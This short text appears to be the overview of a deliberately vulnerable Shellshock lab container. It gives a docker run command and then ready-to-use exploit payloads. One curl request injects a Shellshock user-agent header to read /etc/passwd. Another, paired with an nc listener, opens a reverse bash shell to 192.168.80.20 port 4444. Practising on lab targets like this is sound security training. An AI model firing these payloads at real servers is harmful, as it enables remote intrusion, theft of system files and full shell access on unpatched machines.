moeinfatehi/shellshock repository overview

To run: docker run -it -p 8787:80 moeinfatehi/shellshock

Payloads: curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /etc/passwd'" http://localhost:8787/cgi-bin/vulnerable⁠ In attacker system: nc -lvp 4444 Then, in another terminal of attacker: curl -H "user-agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.80.20/4444 0>&1'" http://localhost:8787/cgi-bin/vulnerable⁠